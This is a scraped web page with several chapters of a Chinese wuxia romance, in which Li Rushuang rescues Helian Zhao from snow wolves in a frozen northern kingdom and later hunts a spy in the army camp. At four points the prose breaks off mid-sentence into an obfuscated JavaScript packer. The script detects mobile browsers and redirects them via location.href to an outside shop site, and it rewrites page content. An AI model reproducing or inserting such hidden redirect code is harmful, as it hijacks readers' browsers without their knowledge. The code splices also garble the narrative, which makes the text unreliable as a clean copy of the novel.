d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632994|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交叉闭着眼睛端坐着。莫从南在他眼前晃了晃,确定琵衔不会睁眼,便要悄悄地拿下他脸上的面具,结果刚碰到就被死死攥住手腕。 他做贼心虚,看着手腕上无肉的指骨,琵衔已经睁眼,眼神没有波澜地看着他。 莫从南尴尬地收手,冲他笑了笑,吹着口哨退回自己的位置。 呜咽的风声逐渐消匿,李如霜憋得不行出去透了几次气,每次外面都是白天,可她心里一直记着时辰,依她算该天黑时,外面仍是白昼。 一连两日都是这样,莫从南看出她的不解,开口道:“西漠是阳域,气候异常,白昼长得很,不能用你们那的计时。” 竟还有如此诡异的地方,她也是长见识了。 第三日晚,他们终于停了下来,只见不远处有一个冰雪铸成的城门,这个城门简陋得很,高两丈,横向不过一仞,远看就像块大碑。 城门后仍是一片白茫茫的雪原,没有人烟,莫从南看到城门,高兴得怪叫,直说到了到了。 李如霜觉得他经过长时间的赶路,被憋傻了,“这哪里到了,前面除了块雪砖什么都没有,看样子还得走一段路呢。” 莫从南也不理她,抽着前面的骆驼,鸾车瞬间加速越过了城门。 而此刻,李如霜才看见了隐匿在城门后雾中的一片雪城,繁华的城池全都被罩在一种奇怪的雾中,只有身处其中,才能看到里面的光景。 鸾车在商户之间一路穿行,直接进了一座高耸入云的城堡,这就是北寒冰室王族的城堡。 莫从南去安置骆驼,李如霜和琵衔入了城堡,大厅内宽敞明亮,虽然没有赫连王室朝政殿那样颇具威严,却十分雄伟巍峨。 “梅娘!”不远处梅娘已经换上了异族的装饰,站在廊边,看来赫连昭也已经安稳地到这了,李如霜跑着过去。 她拉起梅娘的手急切地询问赫连昭在哪,可梅娘的眼神闪躲,欲言又止。 李如霜有种不祥的预感,有些着急,语气便冲了起来:“你倒是说啊!到底怎么了?” 梅娘神色哀怆,抽回手道:“将军他不放心,我们走到半路就回去找你了。” 李如霜顿时感觉天打五雷轰,怎么会这样,她颇为后悔,早该告诉他自己有寒霜冬,或者再说些让他安心的话就好了。 “副将,你别担心,将军英勇神武,体魄远胜常人,寻不到你不日也回来了。”梅娘安慰她道。 也只能这样,只有这样,李如霜吃了她这颗定心丸,慰藉自己赫连昭一定不会出事的,他有上古五毒体,还熟悉西漠的路,必会安然无恙。 她强迫自己不要多想,和琵衔一起去拜见北寒冰室王上,也就是赫连昭的外祖,莫仇凉。 莫仇凉知晓了李如霜的来意,立马命人准备烈焰风的药引,只是不见赫连昭,便问:“昭儿没和你一起回来吗?” 李如霜心惊,只得说明原因,莫仇凉哼了一声。 她在城堡内等了两日,自从他们从延州出来到现在已经快要十日,而他们还没有带着烈焰风的药引往九原赶,只怕大军会先他们一步到,若是他们迟得太多岂不是误了大事。 思来想去,李如霜决定去找琵衔,此时琵衔正在帮着夜莺整理羽毛。 8. 雪狼扑食 琵衔伫立在窗边,顺着夜莺的绒羽,身上白色长褂垂着,浑然梅柳之姿。 李如霜刚进来就看见这幅模样,甚是赏心悦目,不禁多看了几眼。她上前在琵衔身边站了一会儿,望了望窗外,他们此时站在高处,将全城之景尽收眼底。 北寒冰室气候寒冷,但子民却热情似火,街角小巷一派和睦,邻里乡亲表里相济、踏实淳朴。见她是生面孔,都问是从何处来的,还塞给她许多当地特产。 “你想找的东西找到了吗?”李如霜出声道。 面具隐去了琵衔的表情,他点点头,那味材料传说只生长在北寒冰室领域,他来了这自然是寻到了。 夜莺开口:“你怎知我是来寻东西的。” 李如霜摸摸它红色的小脑袋道:“最近大师傅身子不大好,你为了这事跑了大江南北,我怎不知。” 一时无言,李如霜把虎符拿了出来,看了许久,琵衔一人便可抵千军万马,交给他应当可以放心。 她把自己的经历和来西漠的目的都与他道尽,将虎符交给琵衔,让他和莫从南一起去九原。莫从南知晓烈焰风的酿法,有他加持大军定能抗住风寒。 “到了把虎符给刘将军刘惕守,让他统领全军,伺机而动。”李如霜把事情都交代好,拉来了莫从南给她的骆驼,梅娘叫住她问:“你要去找他?我跟你一起去吧,两个人互相照应总是好的。” 李如霜翻身骑在驼峰之间,那骆驼原本趴着,此时站了起来,拉远了两人的距离。她望着远方漠然道:“梅娘,你要么留在这里,要么回赫连去,我不会带你一起的。” 她说完这句牵着绳离去,梅娘望着她的背影,提了口气眼神似悲似痛。 刚出西漠的城门,身后便什么都看不见了,前面一段并无风雪,李如霜顺利地穿过第一大关。她记得马上就是疾风骤雪,来时她坐在车中,耳边风声呜咽从没停下。 没过多久,大风就吹得她衣袂飘举,这时骆驼尚能坚持快跑,大概一炷香的时间,李如霜的袍子被刮的哗哗作响,骆驼迈步都十分艰难。 李如霜紧紧抱住前面的驼峰,头顶太阳虽然被风雪遮住,但透出的日辉照得雪面泛光,十分刺眼,她在风中努力睁开眼睛,查看四周的景象。 一人一骆驼行得非常缓慢,两个时辰才走了不过十里,李如霜耳边除了呼啸的风听不到别的声音,她有些不安只能依偎着骆驼。 风渐止,她直起身来,继续架着骆驼四处寻找着,可无论哪里都是白茫茫一片,再过不远应该就到莫从南琉璃殿了,她突然闻到一股血腥味。 前面地上有一滩血,她急忙跳下来去查看,从这摊血起蔓延至一剑之远,雪被这血融掉陷下去几寸。 李如霜眼睛忽地刺痛,这是雪盲症的前兆,她立即从怀中取出发带蒙在眼睛上,隐隐约约能看见周围的光景。 嗅着血腥味一路找过去,透过发带她看见一堆不知是什么东西,她摸索着感觉那一团团带毛的东西还冒着热气,腥臭的味道愈发浓烈,李如霜顿觉胃中翻江倒海,几乎要吐出来。 她的注意力都集中在了前面,殊不知背后有一头雪狼站起来,盯了她很久,突然一下子扑上去。李如霜察觉身后有异动,离她极近,这个距离扶蛇无法施展,她只得抬起手臂去格挡。 不料一个高大的身影挡在她面前,砰的一声,原本扑向她的雪狼腹部渗血瘫倒在地。 李如霜颤抖的双手,抚摸上那人的后背,她摘下发带,眼前一片模糊,但她知道这人就是赫连昭。 只见他身上的衣服被咬得破烂,四处渗血,李如霜泪盈双目猛地抱住他,赫连昭摸了摸她的头将她安抚下来。 李如霜本抱着他不肯撒开,却感觉赫连昭的身子越来越凉,她从怀中挣脱出来,“你身体怎么这么冷?” 赫连昭脸色苍白,扯了一个笑容回道:“没事的,就是在低温下太长时间了......” 他嘴角还向上扬着,哪知下一秒便昏了过去,李如霜吓了个半死,扶住他,只感觉赫连昭的体温要比她要低很多。 李如霜哆哆嗦嗦地拿出酒囊,把里面新倒的烈焰风灌给赫连昭,可那酒顺着下巴就淌了出来,她咬咬牙,自己喝了一大口,对上他的嘴一点点渡了下去。 她搓了搓他的身体,将赫连昭搬上骆驼,随后自己也骑在他身后。李如霜眼睛仍没恢复,只凭着骆驼的感觉赶着路。 骆驼顺着熟悉的路线,将他们带到了琉璃殿。李如霜背着赫连昭进了殿内,里面仍冰冷无比,她想若这里有一个暖炉该多好。 将赫连昭放在二楼的床上,感觉他的身体冷得不能再冷。李如霜忙将自己身上的貂皮解下,上面还带着她的体温,披在赫连昭身上,使劲搓着他的手。 李如霜头挨在赫连昭的胸前,眼神无光,嘴中喃喃道:“赫连昭,你不能抛下我......” 突然,她像是想到什么一般,从殿内翻出一个小盆,引渡内力,用真气将殿内的书全都点燃放于盆中,在床边生起了一簇火。 又把内力不要命地往赫连昭的身体里送,她不像赫连昭自小修习毒术,懂得怎么运用自己的内力救人或是害人。 她的内力只用在了武功上,修得了一身蛮力,可此刻已经顾不了那么多,只能死马当活马医。 自己的内力只剩下两成时,她感觉赫连昭的体温开始回暖,李如霜似是看到了希望,又渡了一成。 最终李如霜累瘫在地上,靠着床边昏了过去。 那九成内力进入赫连昭的体内,把他体内的毒激得乱窜,赫连昭捂着头醒来,感觉从头到脚灼热不堪。 他立马打坐稳住游走的毒,将真气压入气海,赫连昭闭着眼睛,嘴唇发灰,出了一身冷汗。 不消多久,体内的毒和李如霜渡给他的内力便相安无事。平白无故多出这些内力,他的身体比之前更加强健,上古五毒体更是突破了第六重。 赫连昭缓慢睁眼,看到床边晕倒的李如霜,她嘴唇发白,额上还有汗珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632995|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己身体里的内力,定是她渡给自己的。赫连昭将李如霜抱起来轻放于床上,擦去她脸上的汗。 他记得那日被迫与李如霜分离,梅娘的眼睛已经大好,他执意要回去寻李如霜,便让梅娘带着孩子先去西漠了。 他还将自己的环铃玉珏给了梅娘,把烈焰风的事托付给她,外祖看了玉珏之后一定会派人将烈焰风送到九原。 可没寻到李如霜,他却被一群雪狼伏击了。雪狼缠人,一头倒下另一头又扑上来,咬得他血流不止,雪原上温度奇低,他还受伤了,上古五毒体也保不住体温的流逝。 赫连昭凭着一股劲儿一直撑着,要不是李如霜及时赶到,他怕是要和那群狼同归于尽了。 想到这,他的头突然又痛起来,赫连昭抽着气,脑海中忽地浮过被李如霜用鞭子缠住的画面,周围还有煜哥,煜哥身边站着一个摇着扇子长得很儒雅的男人,旁边一人戴着面具,一人拿着长枪。 这根本不是一个月前李如霜大闹王府的场面,他与李如霜果真以前就相识。赫连昭按着头使劲摇晃,挣扎着想要回想更多,却是一片空白。 李如霜迷迷糊糊中听到赫连昭痛苦的声音,醒了过来,见赫连昭这疯狂的模样,顿时上前环抱着他。 “赫连昭你怎么了!”她见赫连昭抱着头,似是头痛,立即按压着他的太阳穴,企图缓解他的痛楚。 赫连昭感受到李如霜温暖的手指,一下一下地在他头上揉着,清醒不少,逐渐平息下来。 他一把抓住李如霜的手,迫切想知道以前与她究竟是什么关系,眼里冒火灼得李如霜脸上烫起来。 “我们以前相识,到底......”赫连昭头又痛了起来,李如霜双手回握住他,摇着头清泪俱下道:“别想了,回忆过去让你如此难受,不要纠结了好吗。” 脑内的疼痛将赫连昭折磨得够呛,他点点头,瞬间虚脱伏在李如霜膝上。 过了许久,赫连昭带着鼻音,出了声:“你把内力都给我,以后岂不是打不过我了。” 李如霜破涕为笑,都什么时候了,能不能想点正经的,“内力还可以再练,若是能救你性命,全给你又何妨。” 她何等有天赋,小时候父亲请了伯伯教兄长的武功,她就在一旁看着,偷师学艺。兄长不能掌握的功法,她练个几遍就熟记在心,父亲这才明白自己的女儿是个武学奇才,方让她与兄长一起习武。 内力李如霜天生便有,不用费力便能聚气。这次几乎耗空了内力,她再修便是,左不过是时间的问题。 琉璃殿虽然不暖和,但好歹避风,他们在此地歇息了几天,赫连昭将莫从南存的粮拿出来煮了吃,估计莫从南回来又要破口大骂。 晚上为了暖和些,李如霜便抱着被子要与赫连昭依偎在一起,赫连昭有些惶恐,直道不合规矩。 听了这话,李如霜捧起他的头,强压住自己的恼怒道:“你不是想知道咱们之前什么关系吗?我现在就告诉你,咱俩是宿敌,恶心死你。” 9. 跪坐伺候 “赶紧睡吧!”李如霜背对着他躺下。 赫连昭脸上木着有些懵,好像无论是记忆中的片段,还是他们刚见面,都是在打架。难道真如李如霜所说那般,他们是互相看不惯的对手? 可为什么她看着自己的眼神中,却饱含沉痛的深情。 赫连昭想不明白,便也躺下来,无声地看着李如霜背过去的身影,蟾光照进屋内,点亮她瘦削的肩头。赫连昭记得在长安时她没有这样瘦,又因为常年练武,肌肉十分饱满。许是这些日子吃不好睡不好,便清减不少。 他心中微动,怜惜她路远山遥从南州国来到赫连,又随他行了军,历经千难万险。一般这个年岁的姑娘早就出嫁,相夫教子安安稳稳地过日子了。 李如霜没睡着翻了个身,蓦地撞进赫连昭那碧色的眸子,那眸子在黑暗中炯炯发亮,看得她羞赧难当。 二人相顾无言,终是李如霜臊得闭上眼睛,翻了个身朝向另一边。 第二日醒来,李如霜只感觉身体中内力充沛,她的内力!定是赫连昭胡闹,又把内力还给她了,旁边的位置空无一人,李如霜立即起身寻找赫连昭。 “赫连昭!”她到处张望着,二楼西边,东边的屋子都找遍没见到人,她下了二楼,一股肉香缥缈钻进她的鼻子。 李如霜本就肚里空空,香味勾得她饥肠辘辘,顺着味道来到一楼的小厨房,赫连昭在里面忙忙碌碌,铁锅里噼里啪啦滋滋作响,翻炒的鸡肉色泽诱人。 旁边还有用土豆炒的茄子,这茄子看上去香滑多汁,李如霜凑近闻一下,居然还有肉香。 “醒了啊,红烧鸡肉马上好。”赫连昭撒了一把香料进去,他打着赤膊,宽肩窄腰,李如霜看了忍不住咽一下口水。 她把碗筷都端到外面的桌子上,等着开饭。行军以来她吃的都是赫连昭做的饭,这几日在路上只啃干粮,李如霜还真是嘴馋赫连昭的手艺。 鸡肉出锅,三菜一汤,两人齐齐坐下开动起来。李如霜吃着那茄子直接干了一碗大米饭,“这茄子怎么还有肉味,我还没见过这样的做法。”她将嘴中饭菜咽下去后说道。 赫连昭笑道:“这个茄子我过了一遍油,再淋上蒜和酱料,自然是软糯可口,油香馥郁。这道菜我母亲常做,是北寒冰室这边的家常菜。” 他宠溺地看着李如霜吃到美食享受的样子,心想一定要把这女人的肉养回来。 转眼桌上已是残羹,“你坐着吧,我收拾。”李如霜捡了碗筷放到木盆中,她毕竟是将军府娇生惯养的大小姐,在家有婢女在外有店家,还从没干过这种洗碗涮筷的活。 李如霜舀入水用抹布擦起来,但是碟上油脂黏腻,用清水洗怎么都无法清洁干净,她一筹莫展。赫连昭见她手忙脚乱的样子便要过来帮忙,可他刚站起来,忽觉脚下一软,栽倒在地。 李如霜听到扑通一声,急忙跑出来,她击按赫连昭百会、风池和水沟等几处大穴,拍着赫连昭的脸,“快醒醒!赫连昭你别吓我。” “疼死我了。”赫连昭止住她的手,虚弱无力地说。看来他必须得回北寒冰室一趟了,他的五毒体到六重,已经逐渐控制不住体内毒血,需由人护法,泡于五毒螭油中,否则便会爆体而亡。 所幸琉璃殿中还有一辆小包车,李如霜丝毫不敢耽误,赫连昭浑身使不上劲,全靠李如霜鞭打着骆驼前行,原本三日的路程,竟是一天半就到了。 莫仇凉见到外孙如此虚弱,老泪纵横,亲自为他护法。北寒冰室一脉五毒体共十重,他外孙年纪轻轻就到了第六重,他怎能不骄傲。 城堡地下冰窖内,一个宽大的池子中泡着绿得发黑的水,还咕噜咕噜冒着泡。赫连昭光着膀子泡在其中,嘴唇变成了墨色。 “昭儿,上古五毒体从祖上带来的毒,须得不断从外吸取各种奇毒,以毒攻毒,方可维持正常的体征。”莫仇凉边往池子里加毒汁边说,“你把这些精华都要吸到身体里,第六重方能大成。” 那池子里便是北寒冰室独有的五毒螭油,以勾吻为底,随后放入蛇、蝎子、蜈蚣、蟾蜍和壁虎五毒。这五毒自赫连昭自会吃饭时,便开始每天泡一遍,直到十五岁时,五毒体四重方才脱离这毒汤。 这次的毒汤大有不同,又加入了虎掌、蓝鳖、胡蜂和红蛛等剧毒之物。 莫仇凉看似漫不经心,实则赫连昭每一处细微的变化他都一清二楚,北寒冰室每一代都是泡在这种毒汤中过来,他们一生与毒为伍,所遭受的痛苦远非常人所能忍受。 他抚着白色的胡子,陷入了沉思。他只有赫连昭的母亲莫雨澜和莫从南这两个孩子,莫从南是个不正经的,四海为家到现在也没娶妻。而莫雨澜则被赫连王一眼看上纳为妃子,生下赫连昭。 多次劝说莫从南回来,赶紧接手北寒冰室王上的位置,这个不孝儿子坦言说自己志在高山和四海,出走西漠连个影都看不到。 现在也就能指望他这个外孙了,如若赫连昭当不上赫连王,回来做他北寒冰室的王上,岂不逍遥自在。 赫连昭坐于那五毒螭油之中,感觉油汤中的毒无孔不入,争先恐后地往他身体里钻。各种毒发作的疼痛他都体会到,只因自己是上古五毒体,从出生便带了毒与这些作对抗,才能保他无事。 从手的微微颤抖到全身的剧烈震颤,将毒汤拍得哗啦哗啦响。莫仇凉见状,立即从体内引出毒气包裹住赫连昭,不让他体内的毒外溢,并送了一丝真气护住他的心脉。 赫连昭平息下来,顿时觉得吸收毒液的效率更快,不消片刻,那池子里的液体竟变得清澈无色,里面所有毒汁全被赫连昭纳进体内,他头上现在正冒着黑烟。 莫仇凉满意地点了点头,至此,上古五毒体第六重大功告成。 李如霜被城堡内的侍女安排到了一间小房,里面还有六七个侍女,似乎是下人住的地方。为首的侍女递给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632996|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个桶还有把墩布说道:“每天早晚一楼各两次,早上丑时便要擦完......” 这一串话让李如霜一头雾水,立即打断了她道:“等等,我......”李如霜指了指自己,忽然噎住,她怎么介绍她的身份呢? “......我是赫连昭的副手,不是来打扫卫生的。”李如霜支支吾吾半天才吐出一句。 侍女们面面相觑,疑惑道:“副手是什么?难道赫连王室的侍女叫副手吗?” 那个侍女长也没听懂,便说:“等王子闭关出来再说吧,即便你是王子身边的侍女也是要干活的。” 李如霜被气笑了,心想她才不干活呢,平时都是赫连昭那个小子给她洗衣做饭。 她在这个小屋子将就睡下,结果第二天鸡还没叫,一棍子搥到她腿上把她叫醒。 “啊!什么情况!”李如霜揉着大腿,费劲地睁开眼睛,只见她床边围了三四个侍女,面色不善,见她醒了便把拖把扔给她:“快去干活,城堡里不养吃闲饭的。” 李如霜懒洋洋地坐在床上,没有动的意思,那侍女见状还要搥她,李如霜顿时一激灵,窜出老远,伸手阻止道:“别动手,我去。” 她拎着拖把,心想才不和这些不会武功的一般见识。 李如霜装模作样地将拖把沾了点水,边擦地边想,赫连昭出来没有,她总不能真的给他们北寒冰室洗涮做饭吧,她没这个义务啊。 想到此,她偷偷瞄着周围的下人,趁侍女长不注意溜进了地下室。 地下室中有许多石室,她每个地方都找了,赫连昭不在这里,看来已经出关了。 李如霜又拎着拖把,到楼上寻着,只见顶楼落地紫琉窗旁,赫连昭躺在紫檀雕龙美人榻上,旁边摆着一溜瓜果梨桃、珍奇异果,侍女跪坐服侍。 赫连昭果真是到家了,莫仇凉把他当皇帝一样供着。 李如霜装作没看见他,背着身假装拖地,慢慢向赫连昭那边靠近。 赫连昭本来闭着眼睛,吃着侍女送到嘴边的绿葡萄,但他忽然感觉到一种熟悉的气息,睁眼就看到有个侍女行为诡异,再一细看,这哪里是什么侍女,虽然她换上了城堡内的服饰,但那身段他一眼就认出。 他顿时产生了捉弄她的心思,便指了指李如霜出声道:“那个擦地的,过来伺候。” 李如霜听到背后的声音,僵了一下,她倒着走到塌前,用袖子挡着脸,像其他侍女一样跪下。 “王子殿下想吃什么,奴才好喂给你~”李如霜怪声怪气地说着,她抬起头瞪着赫连昭。 赫连昭见她这温柔小意的样子倒是新鲜,强压下嘴角咳嗽两声道:“那......个甜瓜。” 李如霜咬着后牙,一叉子插进那甜瓜块,汁水四溅,赫连昭觉得她应当是把甜瓜块当成他了。 甜瓜送到嘴边,赫连昭看着李如霜皮笑肉不笑的表情,硬着头皮吃下去。 10. 降至冰点 李如霜看他特别享受的样子,上手拧了一下他的大腿。赫连昭顿时龇牙咧嘴,连说了好几个疼,旁边的一众下人抿着嘴嘲笑他。 赫连昭使了个眼色让下人都退下,只剩他和李如霜两人,“好祖宗,别折磨我了,你上来我伺候你。” 他把李如霜扶起来,还给她揉揉膝盖,亲自剥了个紫葡萄送到李如霜嘴边。 李如霜和他并排坐着,垂眼看着葡萄,领了他的情吃掉,她舔了下嘴唇上的汁水,酸甜的滋味很可口。赫连昭感受到李如霜的柔软的舌头舔了一下他的指尖,他不自觉地看向她被汁液染得嫣红的嘴唇,顿时从身下窜出一股无名之火,烧得他口干舌燥。 “很热吗?”李如霜见他脸红了个透,赫连昭听了这话,脑中似有惊雷炸开,瞬间移到榻的最边上,堪堪坐住一个角。 他感觉热气上涌,心跳加快,赫连昭怀疑又是自己体内的毒血在作妖。 李如霜察觉到他的不自然,关切地靠近想要询问,赫连昭伸出手阻止道:“你......你别过来!” 他刷地站起来,喃喃自语道:“不用管我......”随后跑下了楼,一溜烟回到自己的屋子内,看着身下雄赳赳的某处,捂住了脸。 火把节是北寒冰室一年一度的盛会,在这个冰雪常年不化的雪域,火点亮了世界,驱散了寒意。 李如霜决定过完这个节就要和赫连昭前往九原,他们已经耽搁太久,不知那边的战况如何了。 即便在火把节这天,城堡内还是一如既往的冷清,只有莫仇凉、赫连昭和李如霜一起吃了顿晚饭,莫仇凉这个老头子,似是怕她拐跑他的外孙似的,餐桌上几乎没看李如霜一眼,只一个劲地往赫连昭的碗里夹菜。 从莫仇凉到莫从南再到赫连昭,这一家子的男人怎么都有种幼稚在骨子里,李如霜心想。 饭后,李如霜站在城堡的窗边,看着下面的万家灯火。广场上,人们举办了歌舞会,大家都围着篝火跳舞,欢声笑语传进她耳朵里。 “我们出去透透气吧!”赫连昭不知什么时候来了,身上还有一股浓厚的酒味,看来他是和莫仇凉喝了很多,才从莫仇凉那得空到这来。 李如霜回身,赫连昭醉醺醺的样子好像一只小狗,她故意赌气道:“昨日还让我不要管你,现在来邀约,我可不跟你去。” 说罢,她抬腿便走,赫连昭心中发痒,趁着酒劲抓住她的手腕,整个人靠上李如霜,可怜兮兮地说:“不要,我错了嘛~” 这句撒娇李如霜听起来十分受用,但看赫连昭这个样子,哪有什么力气出去,走路都走不出一个直线。 无奈赫连昭一直抓着她不放,李如霜只好跟着他出了城堡。一路拐过好几个巷子,来到人们聚集的地方,此时头顶烟花繁盛,砰砰响个不停,照得整个黑夜犹如白昼。 “好漂亮!”李如霜脱口而出,眼中尽是烟花的倒影。 她肩膀一紧,被赫连昭搂住,李如霜急忙环视周围怕被看到,所幸北寒冰室民风奔放,对此似是习以为常。 “赫连昭,你快放开,大庭广众之下成何体统。”李如霜语调不自觉染上一丝娇羞。 赫连昭仍禁锢着她的肩,李如霜放弃挣扎,仰起头看着他。良久,她抚上英俊的脸庞,赫连昭似是陷入了美梦,抓着她的手贴在自己脸上。 李如霜和他静静对视着,赫连昭半垂着双眼,神色醉人,她不自觉地沉溺其中。 “赫连昭,你......”李如霜似乎看到了当初那个满心满眼都是她的少年,可她不敢询问,怕他还没有想起那段时光,怕他并不如自己心中所想。 烟花的爆破声,旁人的交谈声,赫连昭此时通通都听不见了,他的世界里唯余李如霜一人,看着被灯火衬得或明或暗的脸,他眼中似乎只能看见那张软糯的小嘴。 想要靠近,越靠越近。 就快要贴上那一刹那,赫连昭突然如梦初醒,推开了李如霜。 “我......”赫连昭酒醒了一大半,不知道作何解释。这下她肯定把他看作举止轻狂、有违人伦的浪荡子了。“抱歉,我喝醉把你看成别人了。”赫连昭转过头勉强撤出这个像样的借口。 李如霜怔在原地,赫连昭竟把她看成了别人,他这两年竟真的有了新欢。她强忍泪水,装作毫不在意,倔强地回道:“没关系。”她喉头噎住,只怕再说一个字就止不住颤抖了。 二人一时无话,看了会儿烟花就回去了,一路上也是无言。 李如霜躺在床上,泪水沾湿了半个枕头,睡不着坐起来看着月光,发誓以后再不为赫连昭掉一滴眼泪。 赫连昭同样辗转难眠,心想定要斩断情丝,不可染指兄长的妻子,打定了主意要与李如霜保持距离。 于是两人第二日在车中,相互离得老远,中间仿佛隔了一条鸿沟。 李如霜看他小心翼翼的样子,心想这小子竟是在为那个女人守身如玉,连个衣角都不想和她碰到。她胸中愤懑,手中的鞭子抽得狠了些,骆驼立即抡蹄快跑起来。 到了九原营寨,李如霜把鞭子往骆驼身上一别,径直走向寨中,赫连昭被她驾车的方式折磨得头晕,掀开帘子一看,这女人已经走得老远。 这不是正如他所愿吗,可为什么心中却空落落的,赫连昭压下内心的烦闷从车上下来。 李如霜一进军营,便感觉军营士气低迷,往来士兵皆垂眼丧气,她眼皮一跳疾步走向主营帐。只见刘惕守肩膀上打着绷带,梅娘在一旁服侍着。 “到底发生什么事了?”连刘将军都受伤了,这可不是一件小事。 刘惕守招呼她在旁边坐下,慢慢与她道清原委。 莫从南和琵衔赶到时,大军也才刚到九原,烈焰风送来得及时,营中将士喝下后果真不畏严寒。刘惕守心下高兴,立即筹谋来日的计划。 第一次进军,于霍衡山打击敌军精锐元军,他们派出了敌方两倍的军力,加上几位武功高强的老将,有百分百的机率拿下。然而他们却在出兵的半路遭到伏击,损失了一员大将,折了三分之二的士兵。 第二次,计划烧毁敌方粮草,他们派出了夜行部队, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632997|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个都是隐藏的高手。没想到,还未到达敌方的粮仓,自家的粮草反而燃起来,幸好发现得及时,否则后果不堪设想。 两次出师不利,刘将军怀疑军营之中有内鬼,加上军中士兵劲头不足,所以不敢再如期进行计划,只得整顿军队静待下一次时机。 赫连昭此时也进了营帐,顺便把莫从南也带了进来,李如霜把赫连昭当空气,问莫从南道:“琵衔呢?” 莫从南发觉她是在询问自己,“你说那个怪人,他在藏酒的地方研究我烈焰风的酿法,可笑!祖传秘方,他纵是酿酒鬼才也破解不出。” 李如霜点点头,心想,琵衔没准真把配方研究出来,你就老实了。 她和刘将军的想法一样,怀疑军中有内鬼。李如霜盯着刘惕守受伤的肩膀看了许久,既然琵衔也在,她忽地想到什么道:“刘将军,您尽管走你的棋,我保证万无一失。” 刘惕守将信将疑,心想这个小副将也算是有勇有谋,她如此坚决定是有她的考量。 几人在营中仔细安排着明日的部署。 尽管李如霜不理赫连昭,赫连昭还是做了排骨,自欺欺人地想,将领吃不好饭,对行军十分不利,他这不是想要接近她,而是为了大局着想。 梅娘跟着莫从南和琵衔来到军营中,又回了刘惕守身边,此时她无事便在伙房帮着赫连昭打下手,两人端了饭食一起来到李如霜的营帐。 李如霜低头翻看着军书,眼皮也不抬,显然不想给赫连昭什么好脸色。 赫连昭与梅娘坐下,给她摆上碗筷,她这才抬起头,看到了他身边的梅娘,心中大惊,难道赫连昭心仪的人是梅娘。莫不是在雪原中,那出生入死的情谊确实让赫连昭难以忘怀,两情相悦便看对眼了,可为什么梅娘又跟了刘将军,她百思不得其解。 李如霜本不欲与赫连昭一同吃饭,可转念一想,自己何必跟美食过不去,便也在他俩面前坐下来。 “明日刘将军带兵占据棱赤峰,你也跟着去。”李如霜语气冰冷,夹了一块嫩排。 “知道了。”赫连昭在军营里一直都乖乖听她的话,况且行军这么久,他作为主帅还没为王室军做出什么贡献,就让他明日大展身手吧! 李如霜话锋一转,又问梅娘:“梅娘,你不用伺候刘将军吗?他现在可是身上有伤,最缺一个温柔体贴的可人在身边,这回伺候好了,说不准直接纳你为妾,从此可不飞黄腾达了。” 梅娘被她说得脸上又红又白,不敢回话,赫连昭见李如霜如此刻薄,不知道她哪根筋搭错,以前她可从来不会这样,于是开口缓和一下气氛:“副将,梅娘已经够可怜了,你就不要再挖苦她,况且今日的菜还是梅娘帮忙做的......” 赫连昭话还没说完,李如霜登时就撂下了筷子起身道:“原来这菜还有梅娘的功劳呢,那我恐怕是没福消受。” 说完她就离席而去,梅娘抽泣起来,赫连昭心下又急又恼,本来想用这顿饭缓和他和李如霜的关系,没想到却适得其反。 他安慰了梅娘两句,便追了出去。 11. 奸细找到了 “你别走。”赫连昭拽住李如霜,李如霜低头看着他的手,苦涩地笑了,她说:“赫连昭,你知道我叫什么吗,这么久了,我还没从你嘴里听到我的名字。” 贤仁公主叫什么名来着,萧什么,他一时犯了难,李如霜料他也不知道,迅速抽回手道:“别拉着我,被别人看见了不好。” 赫连昭站在原地许久,最后还是莫从南拍了他一下,让他回神。 他看见莫从南像是抓住了救命稻草,急切地问:“舅舅,南州国过来和亲的公主叫什么?” 莫从南疑惑道:“她应该叫萧......婉柔,你问这个干什么?”赫连昭把名字连连重复了三遍,随后像是痴傻了一般,自言自语道:“知道名字又如何......” 侄子这个模样很是不正常,莫从南仔细打量他一番道:“你莫不是看上了那公主,舅舅告诉你,你虽然失去记忆了,但千万不能对不起如霜!” 如霜?这个名字好熟悉,赫连昭脑子又痛起来,他蜷缩着身子单膝跪地,捂着脑袋缓解疼痛,最终痛晕了过去。莫从南大惊失色,心想他侄子心理承受能力这么弱吗,一下子就晕倒了,他可是八尺高的汉子啊。 